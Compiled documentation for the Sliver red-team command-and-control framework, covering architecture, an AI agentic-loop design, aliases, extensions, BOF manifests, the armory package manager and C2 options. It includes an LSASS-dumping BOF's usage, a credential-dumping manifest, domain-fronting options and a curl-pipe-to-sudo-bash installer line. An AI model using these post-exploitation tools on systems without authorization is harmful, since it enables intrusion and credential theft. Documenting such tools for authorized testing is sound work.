Technical Documentation: BishopFox/sliver
โน๏ธ Provenance: Multi-Tier Ingestion ยท CodeWiki Reference
Overview (README.md)
Sliver
Sliver is an open-source, cross-platform adversary emulation and red team framework designed for organizations of all sizes to perform authorized security testing.
Sliver implants support command-and-control (C2) over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique per-binary asymmetric encryption keys and support a wide range of post-exploitation capabilities across macOS, Windows, and Linux.
Sliver includes support for native and shellcode payloads, userspace reflective loading, built-in shellcode encoding, and BOF/COFF execution on both amd64 and arm64 architectures for macOS, Windows, and Linux.
The Sliver server and client run on macOS, Windows, and Linux. Implants officially support those same platforms and may also run on additional targets supported by the Go compiler, although those configurations are not regularly tested.
Visit https://sliver.sh/ for tutorials and documentation.
Getting Started
Download the latest release and see the Sliver wiki for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
Linux One Liner
curl https://sliver.sh/install|sudo bash and then run sliver
Help!
Please checkout the wiki, or start a GitHub discussion.
Compile From Source
See the wiki.
License - GPLv3
Sliver is licensed under GPLv3, some sub-components may have separate licenses. See their respective subdirectories in this project for details.
Sliver Docs README (`docs/sliver-docs/README.md`)
Sliver Docs
The source code for the Sliver documentation site.
Developers
To run the documentation site locally first install the dependencies and then run the dev npm script:
npm install
npm run devMarkdown is compiled into JSON for the site. npm run dev watches Markdown files and regenerates this content automatically.
Offline Docs
To run your own copy of the documentation first install the dependencies and then run the offline npm script:
npm install
npm run offlineThis will produce a www.zip file that contains the static html and JavaScript for the documentation site. You can extract this archive and host it anywhere:
unzip -o www.zip
cd out/
python3 -m http.server 8000Then open your browser to http://localhost:8000/ to view the documentation.
Sliver Ai Agentic Loop (`docs/sliver-ai-agentic-loop.md`)
Sliver AI Agentic Loop
Historical design note: This document describes the initial agentic-loop port. The current tool surface includes operations that modify remote state and is not read-only.
Goal
Port the example agentic loop from examples/codex/codex-rs into Sliver's AI chat so the server can:
- run a multi-step Responses API turn
- emit turn and item lifecycle events similar to Codex
- persist reasoning and tool-call items for sync and restoration
- keep those non-chat items out of the model context window
- render the new items in the client TUI
How The Codex Example Loop Works
The Codex example splits the loop into three layers.
1. Provider/Protocol Layer
The protocol layer receives raw model events such as:
- turn started / completed / failed
- reasoning deltas and completed reasoning items
- command/tool begin and end notifications
- assistant messages
These provider events are fine-grained and often arrive as partial updates.
2. Event Processor Layer
event_processor_with_jsonl_output.rs converts the raw provider stream into a stable thread event model.
The important behaviors are:
- a turn gets a lifecycle:
turn.started, thenturn.completedorturn.failed - each logical item gets a stable id
- begin/end pairs are folded into a single item lifecycle
- reasoning is emitted as its own item type
- tool calls and command executions are emitted as their own item types
- active items can be updated in place before completion
This is the key abstraction that makes the TUI and persisted history simple.
3. TUI Layer
The Codex TUI consumes those stable events rather than reloading the whole thread.
That lets it:
- append new items incrementally
- update an existing in-flight item in place
- keep the transcript stable while a turn runs
- restore the same item types from stored history later
Sliver Port
Sliver ports the same shape, adapted to its existing RPC and database model.
Conversation State
AIConversation now stores:
ActiveTurnIDTurnStateTargetSessionIDTargetBeaconID
The turn fields let clients restore "waiting", "completed", and "failed" state without inferring it from the last chat message.
The target fields bind a conversation to the active session or beacon so server-side tools can default to the conversation target.
Message State
AIConversationMessage now stores:
Kind: chat, reasoning, or tool callVisibility: context or UI-onlyIncludeInContext: whether the block should be replayed into the provider context windowState: in progress, completed, or failedTurnIDItemID- tool call metadata: name, arguments, result, error text, tool call id
This keeps one ordered transcript table while still distinguishing chat context from UI-only telemetry.
UI-Only Persistence
Reasoning, tool-call, and intermediate assistant chat items can be stored as normal conversation messages with Visibility = UI_ONLY.
That gives Sliver:
- cross-client sync through the existing conversation storage path
- transcript restoration after reconnect or TUI restart
- ordered replay of an entire turn, including intermediate items
At the same time, the model context builder keys off IncludeInContext, so UI visibility and provider visibility are now independent.
Event Model
Sliver now publishes AIConversationEvent payloads instead of raw AIConversation snapshots.
Supported event types:
CONVERSATION_UPDATEDCONVERSATION_DELETEDTURN_STARTEDTURN_COMPLETEDTURN_FAILEDMESSAGE_STARTEDMESSAGE_UPDATEDMESSAGE_COMPLETED
Each event can carry:
- a conversation summary
- a single message/item
- the turn id
- optional error text
This mirrors the Codex pattern of stable turn and item lifecycle events.
Server Turn Flow
For each new user message:
- The user chat message is saved as a normal context-visible chat item.
- The server resolves runtime provider/model settings.
- A new turn id is generated and persisted with
TURN_STARTED. - If the runtime supports the Responses API loop, Sliver runs the agentic loop.
- Reasoning items are persisted as completed UI-only reasoning blocks.
- Tool calls are persisted as in-progress UI-only tool blocks, executed locally, then updated in place to completed or failed.
- Intermediate assistant chat blocks on tool-use turns are persisted as UI-only chat items with
IncludeInContext = false. - Tool outputs are fed back into the Responses API with
previous_response_id. - When the model returns final assistant text, that assistant message is persisted as a normal context-visible chat item with
IncludeInContext = true. - The conversation turn state is cleared with
TURN_COMPLETED.
If anything fails:
- a UI-only failed system message is persisted
- the conversation is marked
TURN_FAILED - the failure remains visible in the transcript without polluting future model context
Tool Surface
The initial port exposed a read-only tool set:
list_sessions_and_beaconsfs_lsfs_catfs_pwd
Why read-only first:
- it proves the loop, storage, eventing, and TUI behavior
- it avoids surprising destructive remote actions in the first server-side tool release
Filesystem tools accept explicit session_id or beacon_id, but when omitted they fall back to the conversation target.
Beacon-backed tools wait for task completion on the server before emitting the completed item update.
Context Filtering
Only chat messages with:
Kind = CHATIncludeInContext = true
are included in future provider requests.
That means these items are excluded from the model context window:
- reasoning blocks
- tool call blocks
- UI-only intermediate assistant chat blocks
- failed system status blocks
This is the main rule that preserves transcript richness without degrading prompt quality.
TUI Behavior
The AI TUI now consumes AIConversationEvent incrementally.
Instead of reloading the whole conversation for every server event, it:
- merges conversation summaries into the sidebar
- upserts messages in place by message id or item id
- updates waiting state from
TurnState - removes deleted conversations immediately
Reasoning and tool-call blocks render as dedicated dark-grey transcript boxes.
Reasoning Blocks
Reasoning blocks show:
- the
Reasoninglabel - the persisted reasoning text
- item state metadata
Tool Call Blocks
Tool blocks show:
Tool: <name>- arguments
- result
- error text when present
- item state metadata
These blocks are restored exactly like chat messages because they are stored in the same ordered transcript.
Restore And Sync
Because UI-only items live in the database:
- another Sliver client can attach to the same conversation and see the full turn history
- reconnecting the TUI restores reasoning and tool-call blocks
- turn state survives restart, so "in progress" and "failed" status can be reconstructed from persisted conversation metadata
Differences From Codex
This port intentionally differs from the example in a few places.
- Sliver currently uses non-streaming Responses API requests, so reasoning items arrive as completed items rather than token deltas.
- The initial port used a bounded read-only server-side function set, not the full Codex local tool surface.
- Sliver persists intermediate items in its conversation DB rather than only in a transient thread runtime.
The important invariant is still the same:
- turn lifecycle is explicit
- item lifecycle is explicit
- UI-only items are persisted and replayable
- only context-visible chat reaches the model
Sliver Docs AGENTS (`docs/sliver-docs/AGENTS.md`)
Repository Guidelines
Project Structure & Module Organization
pages/contains Next.js routes; Markdown docs live inpages/docs/md, tutorials underpages/tutorials.components/hosts reusable UI;util/stores loaders such asDocsandThemes.public/serves static assets and the generateddocs.jsonconsumed by search.prebuild/scripts run duringnext buildto turn Markdown into JSON payloads.- Tailwind config sits in
tailwind.config.js; shared CSS lives instyles/.
Build, Test, and Development Commands
npm installsets up dependencies.npm run devstarts the docs server with hot reload onhttp://localhost:3000.npm run buildexports the static site and regeneratespublic/docs.jsonplus tutorials JSON.python3 -m http.server 8000 --directory outserves the static build for smoke tests;next startdoes not support static exports.npm run lintruns ESLint.npm run offlinebuilds, then zipsout/for offline distribution.
Coding Style & Naming Conventions
Use TypeScript with 2-space indentation and ES module imports. Keep React components PascalCase and helpers camelCase. Markdown filename stems are exact document names used by ?name= links; follow existing title-case names and preserve filenames to avoid breaking links. Favor function components, hooks, and Tailwind utility classes; let ESLint autofix formatting issues and keep shared constants in util/.
Testing Guidelines
No unit-test runner ships with this project, so treat npm run lint and npm run build as required gates. When adding interactive behavior, create targeted Playwright or Cypress checks under a __tests__/ directory and describe how to run them in the PR. Always smoke-test the search panel locally after updating Markdown to confirm newly generated docs.json entries render.
Commit & Pull Request Guidelines
History favors concise, imperative subjects (e.g., "Update workflows to use go v1.25.x"). Group related changes, reference issues with #1234, and avoid drive-by refactors. Pull requests should state purpose, call out UI diffs with screenshots or GIFs, confirm that npm run lint and npm run build both pass, and note any new content sources. Request a docs reviewer whenever Markdown copy changes.
Content Authoring Tips
Edit or add docs in pages/docs/md; keep files flat so the generator exports clean slugs. After content updates, run npm run build to refresh public/docs.json, then spot-check sidebar headings in npm run dev. Tutorials follow the same workflow via prebuild/generate-tutorials.js, so align metadata fields to keep search results balanced.
Sliver Docs Pages Docs Md Aliases And Extensions (`docs/sliver-docs/pages/docs/md/Aliases and Extensions.md`)
Sliver allows an operator to extend the local client console and its features by adding new commands based on third party tools. The easiest way to install an alias or extension is using the armory.
Server AI Access
Aliases and extensions used from the client console still live under ~/.sliver-client/aliases and ~/.sliver-client/extensions.
The server-side AI agent uses a separate store under ~/.sliver/ai/aliases and ~/.sliver/ai/extensions. To make a package available to the AI agent, copy the unpacked package directory into the matching server-side path so the manifest and payload artifacts are present together. For example:
~/.sliver/ai/aliases/Rubeus/alias.json~/.sliver/ai/aliases/Rubeus/Rubeus.exe~/.sliver/ai/extensions/nanodump/extension.json~/.sliver/ai/extensions/nanodump/nanodump.x64.o
There is currently no dedicated UI for this workflow. The AI agent can search and execute only the packages that have been copied into these server-side directories.
Aliases Command Parsing
โ ๏ธ IMPORTANT: It's important to understand that all alias commands have certain Sliver shell flags (those that appear in --help). Your Sliver shell commands are lexically parsed by the Sliver shell first, and only unnamed positional arguments are passed to the alias code. This means you may need to escape certain arguments in order for them to be correctly parsed.
For example with Seatbelt, seatbelt -group=system will fail because the Sliver shell will attempt to interpret the -group flag as a named flag (i.e., arguments that appear in --help). To ensure this argument is parsed as a positional argument we need to tell the CLI that no more arguments are to be passed to the sliver command using --, so the correct syntax is seatbelt -- -group=system
/* Detailed source-code truncated for AI context efficiency. */Another trick is to provide a single empty string argument, after which all arguments will be parsed as positional e.g., seatbelt '' -group=system
โ ๏ธ IMPORTANT: Arguments passed to .NET assemblies and non-reflective PE extensions are limited to 256 characters. This is due to a limitation in the Donut loader Sliver is using. A workaround for .NET assemblies is to execute them in-process, using the --in-process flag, or a custom BOF extension like inline-execute-assembly. There is currently no workaround for non-reflective PE extension.
What's the difference between an alias and an extension?
From an end-user perspective there's not much of a difference between the two, except that extensions' arguments will show up in --help and may be required.
An alias is essentially just a thin wrapper around the existing sideload and execute-assembly commands, and aliases cannot have dependencies.
An extension can be a native shared library or a BOF. Shared libraries are reflectively loaded into the Sliver implant process and must implement the Sliver extension API to return output. BOFs use Beacon callbacks and can execute through the built-in Reflektor executor. The COFF Loader DLL remains available as a dependency for legacy Windows BOF execution. For supported platforms and basic examples, see Cross-platform BOFs.
Aliases
A Sliver alias is nothing more than a folder with the following structure:
- an
alias.jsonfile - alias binaries in one of the following formats:
- .NET assemblies
- shared libraries (
.so,.dll,.dylib)
Here is an example for the Rebeus alias, reusing some of the public tools from the GhostPack organisation:
$ tree GhostPack
Rubeus
โโโ alias.json
โโโ Rubeus.exeThe alias.json file has the following structure:
{
"name": "Rubeus",
"version": "0.0.0",
"command_name": "rubeus",
"original_author": "@GhostPack (HarmJ0y)",
"repo_url": "https://github.com/sliverarmory/Rubeus",
"help": "Rubeus is a C# tool set for raw Kerberos interaction and abuses.",
"entrypoint": "Main",
"allow_args": true,
"default_args": "",
"is_reflective": false,
"is_assembly": true,
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "Rubeus.exe"
},
{
"os": "windows",
"arch": "386",
"path": "Rubeus.exe"
}
]
}It contains a single JSON object, which has the following fields:
Alias Fields
| Field Name | Description |
|---|---|
name |
The stylized display name of the alias |
command_name |
The actual console command (primary identifier) |
entrypoint |
The entrypoint (only required for DLLs / Reflective DLLs) |
help |
A short help message for the command |
long_help |
A longer help message describing the command and its usage |
allow_args |
Specify whether the command will allow arguments or not |
files |
A list of of extension files |
is_reflective |
Indicates whether the extension is a reflective DLL or not |
is_assembly |
Indicates whether the extension is a .NET assembly or not |
Files
| Field Name | Description |
|---|---|
os |
The operating system for which the file can be used on (i.e., GOOS syntax) |
arch |
The cpu architecture (i.e., GOARCH syntax) |
path |
Relative path to the file from the alias.json, parent directories are not allowed |
To load an alias in Sliver, use the alias load command:
sliver (CONCRETE_STEEL) > alias load /home/lesnuages/tools/misc/sliver-extensions/GhostPack/Rubeus
[*] Adding rubeus command: Rubeus is a C# toolset for raw Kerberos interaction and abuses.
[*] Rubeus extension has been loadedThe help command will now list the commands added by this extension:
sliver (CONCRETE_STEEL) > help
...
Sliver - 3rd Party extensions:
==============================
rubeus [GhostPack] Rubeus is a C# toolset for raw Kerberos interaction and abuses.
...Writing Aliases
To write a new alias, one must either create a shared library or a .NET assembly, then write a manifest file compliant with the description above.
As the alias support relies on Sliver side loading capabilities, please make sure to read the Using 3rd party tools section, to understand how shared libraries are loaded on all platforms.
Extensions
Native extensions are supported by Windows implants (386, amd64, and arm64), Linux implants (386, amd64, and arm64), and macOS implants (amd64 and arm64). Each manifest must include a platform-native shared library for every target it supports: .dll on Windows, .so on Linux, and .dylib on macOS.
Extensions are similar in structure to an alias, but internally work differently. An extension is an artifact of native code that is reflectively loaded by the implant and passed certain callbacks. These callbacks allow the extension to return data to the C2 server. Extensions may also have dependencies (other extensions), which Sliver will load prior to the extension; circular dependencies are not allowed. BOF extensions can use built-in Reflektor execution without a loader dependency, or retain a COFF Loader dependency for legacy Windows execution. See BOF and COFF Support for executor selection and fallback behavior.
Native exports use the same Sliver extension ABI on every supported operating system. The export receives the argument buffer, its size, and a callback used to return output. The optional init export in the extension manifest is called once after the library is loaded and before any command export is invoked.
Sliver Docs Pages Docs Md Anti Virus Evasion (`docs/sliver-docs/pages/docs/md/Anti-virus Evasion.md`)
The Sliver authors do not consider anti-virus evasion to be within the scope of the Sliver project; there is already a myriad of works in this area. That said, Sliver is designed to be interoperable with common techniques for bypassing anti-virus software such as packers, crypters, and stagers.
Here are some external resources for anti-virus evasion:
Sliver Docs Pages Docs Md Architecture (`docs/sliver-docs/pages/docs/md/Architecture.md`)
This document describes the technical design of Sliver.
High Level
There are four major components to the Sliver ecosystem:
- Server Console - The server console is the main interface, which is started when you run the
sliver-serverexecutable. The server console is a superset of the client console. All code is shared between the client/server consoles except server-specific commands related to client (i.e., operator) management. The server console talks over an in-memory gRPC interface to the server. - Sliver Server - The Sliver server is also part of the
sliver-serverexecutable and manages the internal database, starts/stops network listeners (such as C2 listeners, though there are other types). The main interface used to interact with the server is the gRPC interface, thru which all functionality is implemented. By default the server will only start an in-memory gRPC listener that can only be communicated with from the server console. However, the gRPC interface can also be exposed to the network in multiplayer mode, directly over mutual TLS (mTLS) by default or through an optional WireGuard-protected wrapper that carries the same gRPC/mTLS service. - Sliver Client - The client console is the primary user interface that is used to interact with the Sliver server. Note that most of the code in the server console is actually the client console. The client console can also be compiled into a separate client binary file
sliver-client, which is generally used to connect to the multiplayer gRPC network listener. - Implant - The implant is the actual malicious code run on the target system you want remote access to.
In โโโโโโโโโโโโโโโโโ C2
โโโโโโโโโโโ Memory โ โ Protocol โโโโโโโโโโโ
โ Server โโโโโโโโโโโโโโบโ Sliver Server โโโโโโโโโโโบโ Implant โ
โ Console โ โ โ โโโโโโโโโโโ
โโโโโโโโโโโ โโโโโโโโโโโโโโโโโ
โฒ
โ
โgRPC/mTLS (default)
โor optional WireGuard wrapper
โ
โโโโโโดโโโโโ
โ Sliver โ
โ Client โ
โโโโโโโโโโโBy implementing all functionality over this gRPC interface, and only differing the in-memory or remote transport types, the client code doesn't "know" if it's running in the server console or the client console. Due to this, a single command implementation will work in both the server console and over the network in multiplayer mode.
Sliver Docs Pages Docs Md Armory (`docs/sliver-docs/pages/docs/md/Armory.md`)
The armory is the Sliver Alias and Extension package manager. It allows you to automatically install various third-party tools such as BOFs and .NET tooling.
The official armory downloads packages from github.com and api.github.com so you'll need an internet connection in order for the command to work. The command does support proxies (see --help) and after an alias or extension is installed an internet connection is not required to execute the alias/extension.
Aliases and extensions are installed on the "sliver client"-side, and thus are not shared among operators in multiplayer mode.
The server-side AI agent uses a separate store under ~/.sliver/ai/aliases and ~/.sliver/ai/extensions. If you want the AI agent to discover and execute an alias or extension, copy the unpacked package directory (the manifest plus its artifacts) into the matching server-side path. There is currently no dedicated UI or install command for the AI store.
You can also use armory install all to install everything if you really want to.
The Official Armory
The official armory ships with Sliver binaries and is included by default in the Makefile when compiling from source. You can interact with the Armory using the armory command. Packages installed from the official armory are compiled and cryptographically signed by the Sliver authors. While we make a best effort to review 3rd party code, you are responsible for reviewing and understanding any 3rd party code before using it. Source code for any alias or extension can be found under the Sliver Armory GitHub organization.
Installing Packages
List available packages by running the armory command without arguments, packages are installed using the package's command name:
sliver > armory install rubeus
[*] Installing alias 'Rubeus' (v0.0.21) ... done!
sliver > rubeus -h
[Rubeus] Rubeus is a C# tool set for raw Kerberos interaction and abuses.
...Updating Packages
You can update all installed aliases and extensions by running armory update command.
sliver > armory update
[*] All aliases up to date!
[*] 1 extension(s) out of date: coff-loader
[*] Installing extension 'coff-loader' (v1.0.10) ... done!Removing Packages
You remove packages installed from the armory using the aliases rm and extensions rm commands depending on if the package is an alias or an extension. You can list installed aliases and extensions by running aliases and extensions respectively.
Installed alias and extension files are stored in ~/.sliver-client/ by default if you want to manually remove a package simply delete its corresponding directory and restart the client.
If you also copied a package into the server-side AI store, remove that copy separately from ~/.sliver/ai/aliases or ~/.sliver/ai/extensions.
Private Armories
See Private Armories for hosting options, signing and authentication, and client configuration using the standalone Private Armory service.
Sliver Docs Pages Docs Md Audit Log (`docs/sliver-docs/pages/docs/md/Audit Log.md`)
Sliver's audit log records server-side unary gRPC requests, including multiplayer operator requests, plus session and beacon registrations. It supports after-action analysis, but request entries are written before execution and do not confirm success. Client-only actions and interactive command input (e.g., within shell) are not recorded in the audit log.
By default the audit log is located on the server at: ~/.sliver/logs/audit.json. However, this can be changed by modifying the SLIVER_ROOT_DIR environment variable.
By default, logs rotate at 50 MB and retain up to 20 compressed backups for at most 90 days. These limits are configurable under logs in server.yaml.
Parsing Audit Logs
The audit log uses a newline delimited (one object per line), nested-JSON format. A simplified RPC entry is shown below:
{"level":"info","msg":"{\"request\":\"{\\\"Port\\\":8888}\",\"method\":\"/rpcpb.SliverRPC/StartMTLSListener\"}","time":"2021-06-16T10:22:54-05:00"}NOTE: Due to limitations in the logging APIs the audit log contains nested JSON objects that may require additional parsing.
The top level JSON should always contain:
level- Currently,infoindicates RPC requests andwarnindicates registration events.msg- A JSON object encoded as a string. RPC entries containrequest(another JSON-encoded string),method,user,remote_ip, and optionalsessionorbeacondetails. Registration events instead containSessionorBeaconandRegister, withoutrequestormethod.time- The server's timestamp of the log entry
Sliver Docs Pages Docs Md BOF And COFF Support (`docs/sliver-docs/pages/docs/md/BOF and COFF Support.md`)
Sliver supports the loading and execution of BOFs and COFFs, generally no code changes are needed to use BOFs with a Sliver implant. However, you may need to define a manifest file so that Sliver is aware of BOF arguments and their types.
For platform formats, supported architectures, and basic C examples for Windows, macOS, and Linux, see Cross-platform BOFs.
BOF Extensions
New Sliver implants execute BOFs with the built-in Reflektor executor by default. Armory packages can retain a COFF Loader dependency as a compatibility fallback for older clients, servers, and implants; Armory installs that dependency automatically.
The easiest way to install a BOF extension, for example nanodump, is using the armory package manager:
IMPORTANT: BOF extensions are still installed per-sliver client for normal operator use, so they are not shared across operators automatically. If you want the server-side AI agent to use a BOF, copy the unpacked BOF directory into ~/.sliver/ai/extensions on the server as well. Copy its depends_on package too when the manifest retains a compatibility fallback or explicitly selects a COFF loader.
sliver > armory install nanodump
[*] Installing extension 'nanodump' (v0.0.5) ... done!
sliver > nanodump -h
A Beacon Object File that creates a minidump of the LSASS process.
Usage:
======
nanodump [flags] pid dump-name write-file signature
Args:
=====
pid int The PID of the process you want to dump.
dump-name string The name of the dump file.
write-file int 1 = write file, 0 = fileless
signature string Signature used for evasion, PMDM = default
Flags:
======
-h, --help display help
-s, --save Save output to disk
-t, --timeout int command timeout in seconds (default: 60)Converting BOFs to Sliver
Converting existing BOFs to work with Sliver is usually pretty easy, and shouldn't require any code changes. You'll need to define an extension.json, though, based on what arguments/etc. the BOF accepts.
To determine the arguments a BOF accepts and their types, you'll need to read the .cna script that accompanies a given BOF. For example, the CredMan .cna script is shown below:
alias CredMan {
local('$handle $data $args $2');
if(size(@_) != 3){
berror($1, "CredMan: not enough arguments,Usage: CredMan [user process id] ");
return;
}
$handle = openf(script_resource("CredMan.o"));
$data = readb($handle, -1);
closef($handle)
$args = bof_pack($1,"i",$2);
btask($1, "Running CredMan");
beacon_inline_execute($1,$data,"go",$args);
}
beacon_command_register(
"CredMan",
"Enables SeTrustedCredManAccess Privilege in a token stolen from winlogon.exe to dump Windows Credential Manager");| Type | Description | Sliver Type |
|---|---|---|
| b | binary data | file (path to binary data) |
| i | 4-byte integer | int or integer |
| s | 2-byte short integer | short |
| z | zero-terminated+encoded string | string |
| Z | zero-terminated wide-char string | wstring |
Looking at the script we can see the BOF requires a single integer argument. The corresponding Sliver extension.json file is shown below. This manifest prefers Reflektor while retaining coff-loader for old-component compatibility. If the loader is not already installed, Armory installs it with the BOF package.
{
"name": "credman",
"version": "1.0.0",
"command_name": "credman",
"extension_author": "lesnuages",
"original_author": "jsecu",
"repo_url": "https://github.com/sliverarmory/CredManBOF",
"help": "Dump credentials using the CredsBackupCredentials API",
"long_help": "",
"bof_executor": "reflektor",
"depends_on": "coff-loader",
"entrypoint": "go",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "credman.x64.o"
},
{
"os": "windows",
"arch": "386",
"path": "credman.x86.o"
}
],
"arguments": [
{
"name": "pid",
"desc": "PID of a process started by the target user",
"type": "int",
"optional": false
}
]
}bof_executor accepts two values:
reflektorprefers built-in execution when both the server and implant advertise support. Ifdepends_onis present, upgraded clients use it as the fallback for an older server or implant, while old clients ignorebof_executorand retain their existing loader behavior.coff-loaderalways uses the existing loader path.depends_onis required and names the concrete loader, including custom loaders.
When bof_executor is omitted, existing .o manifests with depends_on keep their legacy loader behavior. A dependency-free .o defaults to Reflektor and therefore requires a compatible client, server, and implant.
Once the manifest is defined load it into your client using extensions load, locally loaded extensions do not need to be cryptographically signed. The paths in the manifest should be relative to the manifest file, parent directories are not allowed.
If you want the server-side AI agent to discover and run the same BOF, copy that unpacked directory into ~/.sliver/ai/extensions/<name>/ so the extension.json file and .o artifact are available on the server.
More details can be found on the Aliases & Extensions page.
To execute BOF projects that ship CNA/Aggressor Script wrappers directly, see OPFOR.
IMPORTANT: Legacy manifests should keep the .o file extension. An explicit bof_executor also identifies the command as a BOF, but older clients still rely on the .o suffix.
Sliver Docs Pages Docs Md C2 Advanced Options (`docs/sliver-docs/pages/docs/md/C2 Advanced Options.md`)
Advanced options, as the name suggests, are for advanced users that know what they're doing. Using these options isn't the best user experience and may result in broken or unexpected implant behavior. Only use these options if you understand what they do.
Advanced options are configured per-C2 endpoint and are passed as URL encoded parameters to the C2 URL in the generate command. For example:
generate --http http://example.com?driver=wininetHTTP C2 Advanced Options
net-timeout- Network timeout value, parsed bytime.ParseDuration.tls-timeout- TLS handshake timeout value, parsed bytime.ParseDuration.poll-timeout- Poll timeout value, parsed bytime.ParseDuration.max-errors- Max number of HTTP errors before failing (integer parsed bystrconv.Atoi).driver- Manually specify the HTTP driver (string). On windows this value can be set towininetto use thewininetHTTP library for C2 communication.force-http- Set totrueto always force the use of plaintext HTTP.disable-accept-header- Set totrueto disable the HTTP accept request header.disable-upgrade-header- Set totrueto disable the HTTP upgrade request header.proxy- Manually specify HTTP proxy, this value is only used with Go HTTP driver, and the format should be one that is accepted by the Go HTTP library. You must specify a URI scheme with the hostname of the proxy. For example,?proxy=http://myproxy.corp.com:8080proxy-username- Specify a proxy username. Only valid with the Go HTTP driver.proxy-password- Specify the proxy password. Only valid with the Go HTTP driver.ask-proxy-creds- Set totrueto ask the user for HTTP proxy credentials. Only valid when used with thewininetHTTP driver.host-header- Used for domain fronting.
DNS C2 Advanced Options
timeout- Network timeout value, parsed bytime.ParseDuration.retry-wait- Upon query failure, wait this amount of time before retrying.retry-count- Upon query failure, retry this many times before failing.workers-per-resolver- Number of worker goroutines per functional DNS resolver.max-errors- Max number of query errors before failing (integer parsed bystrconv.Atoi).force-resolv-conf- Force the use of a providedresolv.conf. Note that you'll need to URL encode the newlines/etc of the file contents into the parameter.resolvers- Force the use of specific DNS resolvers. You can supply more than one by separating them with+, i.e....?resolvers=1.1.1.1+9.9.9.9
Sliver Docs Pages Docs Md Community Guides (`docs/sliver-docs/pages/docs/md/Community Guides.md`)
โ ๏ธ IMPORTANT: This content was NOT created by the Sliver authors. Please keep in mind it may be out of date or contain slight inaccuracies:
Books
- https://nostarch.com/red-team
- https://www.amazon.com/Adversarial-Tradecraft-Cybersecurity-real-time-computer/dp/1801076200/
Videos
- https://youtu.be/3R6WKUgN0K4?t=456
- https://youtu.be/watch?v=QO_1UMaiWHk
- https://youtu.be/watch?v=izMMmOaLn9g
- https://youtu.be/watch?v=qIbrozlf2wM
- https://youtu.be/watch?v=CKfjLnEMfvI
Blogs
- https://bishopfox.com/blog/passing-the-osep-exam-using-sliver
- https://notateamserver.xyz/blog/sliver-101/
- https://dominicbreuker.com/post/learning_sliver_c2_01_installation/
- https://vk9-sec.com/how-to-set-up-use-c2-sliver/
- https://0x90-1.gitbook.io/sliver/
- https://blog.ecapuano.com/p/so-you-want-to-be-a-soc-analyst-20
- https://wsummerhill.github.io/redteam/2023/07/25/Sliver-C2-Usage-for-Red-Teams.html
- https://rootsecdev.medium.com/hacking-active-directory-with-sliver-c2-19d7ceabbf13
- https://dev.to/living_syn/sliver-and-cursed-chrome-for-post-exploitation-4gnk
Opsec Blogs
Development Blogs
- https://github.com/thelikes/blog/blob/master/posts/sliver-bof-dev-quickstart.md
- https://medium.com/@youcef.s.kelouaz/writing-a-sliver-c2-powershell-stager-with-shellcode-compression-and-aes-encryption-9725c0201ea8
- https://security.humanativaspa.it/customizing-sliver-part-1/
- https://security.humanativaspa.it/customizing-sliver-part-2/
- https://security.humanativaspa.it/customizing-sliver-part-3/
Detection & Analysis
- https://medium.com/@unsec.monitor/how-to-use-zeek-detect-sliver-http-beacon-traffic-f05b214c4056
- https://www.immersivelabs.com/blog/detecting-and-decrypting-sliver-c2-a-threat-hunters-guide/
- https://blogs.vmware.com/security/2023/01/detection-of-lateral-movement-with-the-sliver-c2-framework.html
- https://michaelkoczwara.medium.com/sliver-c2-implant-analysis-62773928097f
- https://blog.tofile.dev/2021/09/04/sliver.html
- https://bherunda.medium.com/hunting-detecting-smb-named-pipe-pivoting-lateral-movement-b4382bd1df4
Threat Intel Reports
- https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/
- https://www.cybereason.com/blog/sliver-c2-leveraged-by-many-threat-actors
- https://www.team-cymru.com/post/sliver-case-study-assessing-common-offensive-security-tools
- https://www.ncsc.gov.uk/files/Advisory%20Further%20TTPs%20associated%20with%20SVR%20cyber%20actors.pdf
Sliver Docs Pages Docs Md Compile From Source (`docs/sliver-docs/pages/docs/md/Compile from Source.md`)
Sliver can be compiled on Linux, macOS, and native Windows. Windows users can also build through the Windows Subsystem for Linux (WSL).
To compile from source you'll need:
- Go v1.27.2 or later
make(on MacOS you may need to install XCode and accompanying cli tools)
{"src": "/asciinema/compile-from-source.cast", "cols": "132"}Compiling
$ git clone https://github.com/BishopFox/sliver.git
$ cd sliverIMPORTANT: The Sliver Makefile requires version information from the git repository, so you must git clone the repository. Using GitHub's "download zip" feature may omit the .git directory and result in broken builds.
By default make will build whatever platform you're currently running on:
$ makeThis will create sliver-server and sliver-client binaries.
Sliver embeds its own copy of the Go compiler and a few internal tools. The first time you run make, a Go asset tool will download these assets to your local system. This means the first build will take longer than subsequent builds, especially if your internet connection is slow.
Cross-compile to Specific Platforms
You can also specify a target platform for the make file:
$ GOOS=windows GOARCH=amd64 makeDocker Build
There are a few Docker targets available depending on your needs:
test- Runs the unit testsproduction- Builds the production Docker image, including optional dependencies like Metasploitproduction-slim- Builds the production Docker image, but without Metasploit and other optional dependencies
From the project root directory run:
docker build --target production -t sliver .Compiling Sliver on Kali Linux
{"src": "/asciinema/sliver-docker-production.cast", "cols": "132"}The production Docker image includes Metasploit, so it can take a while to build from scratch, but Docker caches the layers. Unit tests run only when building the separate test target.
Windows Builds
For a native Windows build, install Go, Git, and GNU Make, then run make windows-amd64 from the repository root. Alternatively, use WSL and follow the Linux/cross-compile instructions above. Run the resulting binaries in a terminal that supports ANSI sequences, such as Windows Terminal.
Developers
If you want to modify any of the .proto files you'll need to set up a few additional tools to regenerate the .pb.go files.
The checked-in bindings record these tool versions:
protocv7.36.2 (as reported in the generated headers)protoc-gen-gov1.36.11protoc-gen-go-grpcv1.6.1
`protoc`
Install a compatible protoc release for your platform:
https://github.com/protocolbuffers/protobuf/releases/latest
Ensure that the correct protoc version is on your $PATH, you can check with a simple protoc --version
`protoc-gen-go` `protoc-gen-go-grpc`
Assuming $GOPATH/bin is on your $PATH simply run the following commands to install the appropriate versions of protoc-gen-go and protoc-gen-go-grpc:
go install google.golang.org/protobuf/cmd/[email protected]
go install google.golang.org/grpc/cmd/[email protected]Ensure that these are both on your $PATH after running the commands; if not, you probably need to add $GOPATH/bin to your $PATH. To regenerate the Protobuf and gRPC files run:
$ make pbSliver Docs Pages Docs Md Configuration Files (`docs/sliver-docs/pages/docs/md/Configuration Files.md`)
General Server Configuration
The Sliver server configuration file is located in the configs sub-directory of SLIVER_ROOT_DIR; by default this is ~/.sliver/configs/server.yaml.
